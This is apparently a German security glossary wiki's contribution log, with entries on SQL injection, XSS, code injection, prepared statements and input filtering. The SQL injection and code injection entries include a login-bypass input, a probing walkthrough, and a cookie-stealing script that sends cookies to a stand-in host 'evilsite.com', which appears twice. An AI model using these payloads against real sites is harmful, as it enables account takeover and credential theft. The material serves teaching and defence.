GlossarWiki - Benutzerbeiträge [de-formal]

Stored Procedure

2007-06-27T14:25:55Z

Jkonrad: Quellen angepasst

=Definition=

Mit Hilfe von [[Stored Procedure]]s ist es dem Benutzer eines [[Datenbank-Management-System]]s (DBMS) möglich,
komplexe Folgen von [[SQL]]-Anweisungen im System unter einem Namen zu speichern und jederzeit auszuführen.
Die Ablaufpläne werden dabei vom DBMS optimiert.

Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.

=Vorteile=

Absicherung gegen [[SQL Injection]], da die Stored Procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung
erfolgter Anweisungen enthalten können. 

Der Einsatz von [[Prepared Statement]]s ist jedoch vorzuziehen.

=Quellen=

* [[Ziegler (2007)]]
* [[Rütten, Glemser (2006)]]

=Siehe auch=

*[[Prepared Statement]] 
*[[SQL Injection]]

[[Kategorie:Daten-Management]]
[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Prepared Statement

2007-06-27T14:22:38Z

Jkonrad: Quellen angepasst

=Definition=

[[Prepared Statement]]s sind parametrisierte, vorübersetzte ([[SQL]]-)Anweisungen für ein [[Datenbank-System]] (DBS).

=Bemerkungen=

Bei der Erzeugung eines [[Prepared Statement]]s werden an Stelle von Parameterwerten Platzhalter für die Parameter an das DBS übergeben.
Erst beim Aufruf eines [[Prepared Statement]]s werden Parameterwerte übergeben.

Auf diese Weise können insbesondere [[SQL Injection|SQL-Injection-Attacken]] vermieden werden,
da die dafür nötige Vermischung von [[SQL]]- und Hostsprache-Code nicht mehr ohne Weiteres
möglich ist.

Darüber hinaus werden die Parameter beim Eintragen zunächst vom DBS
auf Gültigkeit geprüft bevor sie verarbeitet werden.

Als angenehmen Nebeneffekt bringen Prepared Statements den Vorteil mit sich, dass durch die Vorverarbeitung der Abfragen eine
schnellere Verarbeitung der Abfragen möglich ist.

=Quellen=

*[[Ziegler (2007)]]
*[[Rütten, Glemser (2006)]]

=Siehe auch=

*[[SQL Injection]]
*[[Stored Procedure]]

[[Kategorie:Daten-Management]]
[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

SQL Injection

2007-06-27T14:18:29Z

Jkonrad: Quellen angepasst

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht. 

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden. 

=Beispiel=
Laut [[Rütten, Glemser (2006)]] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.
<pre>
SELECT * FROM users WHERE name ='$username' AND password ='$password'
</pre>
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden: 
"admin'--" 
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus: 
<pre>
SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'. 
</pre>
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch 
<pre>
SELECT * FROM users WHERE name ='admin' 
</pre>
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten. 
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [[Rütten, Glemser (2006)]], 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte. 

=Durchführung=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [[Rütten, Glemser (2006)]]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden). 

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:
<pre>
Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5
</pre>

Fehlermeldungsart 2:
<pre>
ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended
</pre>
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

Beispiel nach [[B. Sullivan]].

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL-Injection-Angriffen zu schützen, wie z.B. [[Stored Procedure]]s und
[[Prepared Statement]]s. 
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der
SQL-Injection-Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet.

(Weitere Tools dieser Art können bei www.astalavista.com gefunden werden.)

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden. 

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs!

Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich.

=Weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

* [[C. Sima]]
* [[B. Sullivan]]
* [[Rütten, Glemser (2006)]]
* [[Ziegler (2007)]]
* SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015
* Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners 
* Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

=Siehe auch=

*[[Cross Site Scripting]] 
*[[Codeinjection]] 
*[[Whitelisting]] 
*[[Blacklisting]] 
*[[Stored Procedure]] 
*[[Prepared Statement]] 

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Blacklisting

2007-06-27T14:09:18Z

Jkonrad: Quellen angepasst

=Definition=
Blacklisting verbietet einige Zeichen, wie z.B. Steuerzeichen (< >) oder ganze Tags (<script>...</script>).

=Bemerkungen=

Kann nach dem [[Whitelisting]] eingesetzt werden, um besondere Randbedingungen abzudecken.

=Vorteil=
Einige Tags können weiterhin verwendet werden (z.B. für Formattierung durch den Benutzer in Foren).

=Nachteil=

Listen müssen permanent auf dem neuesten Stand gehalten werden, um bis jetzt unveröffentlichten [[Angriffsvektor]]en nicht
schutzlos gegenüber zu stehen.

=Quellen=

*[[Ziegler (2007)]]
*[[Rütten, Glemser (2006)]]

=Siehe auch=

*[[Whitelisting]]

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Whitelisting

2007-06-27T14:07:22Z

Jkonrad: Quellen angepasst

=Definition=

Das Whitelisting erlaubt explizit Zeichen (z.B. ist es beim Geburtsjahr nicht nötig, Zahlen
zu erlauben die kleiner als 1900 sind).

=Bemerkung=

Kann vor dem [[Blacklisting]] eingesetzt werden, um den größten Teil der möglichen Angriffe abzuwehren.

=Vorteil=
Falls die Liste vollständig ist, werden keine durch den Benutzer eingetragenen Befehle vom Server ausgeführt und können
gefahrlos dargestellt und weitergegeben werden.

=Nachteile=
Es kann leicht passieren das man zu viele Zeichen verbietet und damit die Benutzerfreundlichkeit sinkt bzw. einige Funktionen
nicht mehr vollständig sind. Beispiel: beim Eintragen der Hausnummer könnten so die Buchstaben gesperrt werden dan ist die
Kombination aus Zahl und Buchstabe z. B. 12a nicht mehr möglich und die Adressierung ist nicht mehr korrekt.

Mehraufwand bei der Festlegung der zugelassenen Zeichen, weil regionsbedingte Unterschiede in der Notation (Sonderzeichen,
andere Art Adressen aufzuschreiben etc.) berücksichtigt werden müssen.

=Quellen=

*[[Ziegler (2007)]]
*[[Rütten, Glemser (2006)]]

=Siehe auch=

*[[Blacklisting]]

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Cross Site Scripting

2007-06-27T14:04:30Z

Jkonrad: Quellen als Link dargestellt, Definition in Bemergungen + Definition aufgetrennt

=Definition=
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen. 
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.

=Bemerkungen=
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.

Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle
Informationen.

Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.

XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um
den angegriffenen Server unerreichbar zu machen.

==Reflektiertes XSS==

Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch
eine E-Mail Adresse sein.

Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.

==Persistentes (beständiges) XSS==

Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.

Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten
HTML-Code vorfinden.

==Lokales ([[DOM]]-basiertes) XSS==

Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.

Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den
Angreifer weitergeleitet werden.

Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,
da der lokale Benutzer oft gleichzeitig der Administrator ist.

Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.

==XSS — Eine kleine „Anleitung“==

Zunächst müssen potentielle Opfer gefunden werden, d.h., es muss nach Anzeichen für die Angreifbarkeit
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen
kann ein Anzeichen für die Anfälligkeit auf XSS sein.

Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.

Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS
geschützt ist.

Dazu wird in dasselbe Feld JavaScript Code eingetragen, wie z.B.
<code><script>alert(’hello’)</script></code> und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.

Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und
geprüft werden, ob der eingetragene String (<code><script>alert(’hello’)</script></code>) im HTML-Code der
Seite auftaucht oder nicht.

=Gegenmaßnahmen=

Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend
kurz vorgestellt:

*<code>allow_url_fopen = off</code>
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit
können keine Skripte von externen Servern mehr ausgeführt werden.

*<code>open_basedir = /pfad/zum/www-ordner</code>
Diese Option schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses
Verzeichnisses können weiterhin benutzt werden.

*<code>save-mode = on</code>
Diese Option schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.
Darüber hinaus werden auch einige gefährliche Funktionen wie <code>shell-exec()</code> gesperrt. Eine
weitere Steuerung ist durch weitere Optionen dennoch möglich.

*<code>display_errors = off</code>
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von
Fehlermeldungen zu unterbinden.

Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!

Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.
Steuerzeichen durch ihre Escapesequenzen ersetzen.

Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.

=Quellen=

* [[C. Sima]]
* [[B. Sullivan]]
* [[Rütten, Glemser (2006)]]
* [[Fuhrberg, Häger, Wolf (2001)]]
* [[Schwenk (2002)]]
* [[Kyas (1999)]]
* [[Nusser (1998)]]
* [[Ziegler (2007)]]
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. ericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

=Siehe auch=

*[[SQL Injection]]
*[[Codeinjection]]
*[[Whitelisting]]
*[[Blacklisting]]

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Code Injection

2007-06-27T13:57:11Z

Jkonrad:

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

=Bemerkungen=
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden.

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit

<pre>
setcookie("xss" , "This content will be stored in a cookie" );
</pre>

ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.

Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

<pre>
<script>
document.location="http://www.evilsite.com/evilscript.php?info="+document.cookie;
</script>
</pre>

Anschließend wird im Browser, der folgende Link angezeigt: 

<pre>
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie
</pre>

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.

Mit der Anweisung

<pre>
include_once($phpbb_root_path=’common.php’)
</pre>

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“:

<pre>
/plugin.php&phpbb_root_path=http://evil.de
</pre>

Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt
wurde.

Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.

=Gängige Vertreter=
*[[SQL Injection]], wird am häufigsten eingesetzt
*[[LDAP Injection]]
*[[SSI Injection]]
*[[XPath Injection]]

=Quellen=
* [[C. Sima]]
* [[B. Sullivan]]
* [[Rütten, Glemser (2006)]]
* [[Fuhrberg, Häger, Wolf (2001)]]
* [[Schwenk (2002)]]
* [[Kyas (1999)]]
* [[Nusser (1998)]]
* [[Ziegler (2007)]]
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

=Siehe auch=

*[[Cross Sit+e Scripting]]
*[[Whitelisting]]
*[[Blacklisting]]

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Code Injection

2007-06-27T13:56:21Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

=Bemerkungen=
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden.

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit

<pre>
setcookie("xss" , "This content will be stored in a cookie" );
</pre>

ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.

Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

<pre>
<script>
document.location="http://www.evilsite.com/evilscript.php?info="+document.cookie;
</script>
</pre>

Anschließend wird im Browser, der folgende Link angezeigt: 

<pre>
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie
</pre>

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.

Mit der Anweisung

<pre>
include_once($phpbb_root_path=’common.php’)
</pre>

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“:

<pre>
/plugin.php&phpbb_root_path=http://evil.de
</pre>

Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt
wurde.

Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.

=Gängige Vertreter=
*[[SQL Injection]], wird am häufigsten eingesetzt
*[[LDAP Injection]]
*[[SSI Injection]]
*[[XPath Injection]]

=Quellen=
* [[C. Sima]]
* [[B. Sullivan]]
* [[Rütten, Glemser (2006)]]
* [[Fuhrberg, Häger, Wolf (2001)]]
* [[Schwenk (2002)]]
* [[Kyas (1999)]]
* [[Nusser (1998)]]
* [[Ziegler (2007)]]
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

=Siehe auch=

*[[Cross Sit+e Scripting]]
*[[Whitelisting]]
*[[Blacklisting]]

[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]

Ziegler, P. (2007): XSS – Cross-site scripting

2007-06-27T13:30:23Z

Jkonrad:

{{Quelle:Artikel
| key = Ziegler (2007)
| authors = Paul Sebastian Ziegler
| title = XSS
| subtitle = Cross Site Scripting
| journal = hakin9 - Hard Core IT Security Magazin
| volume =
| number = 1
| pages = 20ff
| day =
| month =
| year = 2007
| publisher =
| address =
| issn =
| url = http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.
}}

[[Kategorie:Quelle:Sicherheit]]

Nusser, S. (1998): Sicherheitskonzepte im WWW

2007-06-27T13:29:54Z

Jkonrad:

{{Quelle:Buch |
key = Nusser (1998)|
authors = Stefan Nusser|
editors = |
title = Sicherheitskonzepte im WWW.|
subtitle = |
volume = |
number = |
edition = |
series = |
month = |
year = 1998|
publisher = Vieweg Verlag|
address = |
isbn = 3-540-63391-X|
url = |
shelfmark = |
annotations = |
}}
[[Kategorie:Quelle:Sicherheit]]

Kyas, O. (1999): Sicherheit im Internet

2007-06-27T13:29:24Z

Jkonrad:

{{Quelle:Buch |
key = Kyas (1999)|
authors = Othmar Kyas|
editors = |
